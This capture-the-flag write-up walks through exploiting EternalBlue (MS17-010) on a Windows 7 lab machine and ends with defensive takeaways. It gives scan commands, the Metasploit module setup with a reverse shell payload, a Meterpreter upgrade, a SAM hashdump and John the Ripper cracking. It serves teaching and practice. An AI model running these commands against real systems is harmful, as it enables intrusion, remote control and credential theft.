Blue: Exploiting EternalBlue (MS17-010)
An unpatched Windows 7 host, a famous SMBv1 vulnerability and a SYSTEM shell — plus what defenders should have caught at every step.
Contents / 8+
Blue is a classic: a Windows 7 machine vulnerable to MS17-010, the SMBv1 bug weaponised as EternalBlue and used by WannaCry in 2017. It’s an easy room, but it’s a great way to practise the full loop — scan, verify, exploit, post-exploit, and crack credentials.
Note: Flags and cracked passwords are redacted.
Reconnaissance
nmap -sC -sV -p- --min-rate 2000 -oN blue.nmap 10.10.XX.XX
Key results:
| Port | Service | Notes |
|---|---|---|
| 135 | msrpc | Windows RPC |
| 139 / 445 | netbios / SMB | Windows 7 Professional SP1 |
| 3389 | ms-wbt-server | RDP exposed |
An old Windows build with SMB exposed is an immediate red flag, so I checked for known SMB vulnerabilities with Nmap’s NSE scripts:
nmap --script smb-vuln* -p 445 10.10.XX.XX
Host script results:
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
Confirmed: the host is vulnerable to MS17-010.
Exploitation
Metasploit has a reliable module for this. I set the payload explicitly rather than trusting the default:
msfconsole -q
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.XX.XX
set LHOST tun0
set payload windows/x64/shell/reverse_tcp
run
After a few seconds the exploit returns a shell as NT AUTHORITY\SYSTEM — the highest privilege level on a Windows host, with no separate privilege escalation needed.
Upgrading to Meterpreter
A plain shell is limited, so I backgrounded it and converted it to a Meterpreter session:
# Ctrl+Z to background the session, then:
use post/multi/manage/shell_to_meterpreter
set SESSION 1
run
sessions -i 2
Meterpreter’s getsystem confirms we’re already SYSTEM. Because the exploited process can be unstable, I migrated into a long-running SYSTEM process:
ps # find a stable process running as SYSTEM, e.g. a service host
migrate <PID>
Post-Exploitation
Dumping and cracking hashes
With SYSTEM privileges we can read the SAM database:
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:[REDACTED]:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:[REDACTED]:::
The non-default user Jon is the interesting one. NTLM hashes crack quickly with John and rockyou.txt:
echo 'Jon:[NTLM_HASH]' > jon.hash
john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt jon.hash
The password cracked in seconds — a reminder that weak passwords make hash theft devastating.
Finding the flags
The three flags live in increasingly “privileged” places: the system root, the SAM storage location and the user’s documents. A quick search finds them all:
search -f flag*.txt
Defensive Takeaways
- Patch. MS17-010 was fixed in March 2017. A host still vulnerable years later points to missing asset inventory and patch management.
- Disable SMBv1 everywhere. It’s deprecated and unnecessary on modern networks.
- Don’t expose SMB (445) or RDP (3389) beyond the segments that need them; block at the perimeter and between VLANs.
- Detect the exploit. IDS signatures for EternalBlue are mature — malformed
Trans2SMB requests should alert immediately. - Strong, unique passwords limit the damage of a
hashdump, and LAPS prevents shared local admin passwords from enabling lateral movement.
Tools Used
nmap (NSE), Metasploit, Meterpreter, John the Ripper.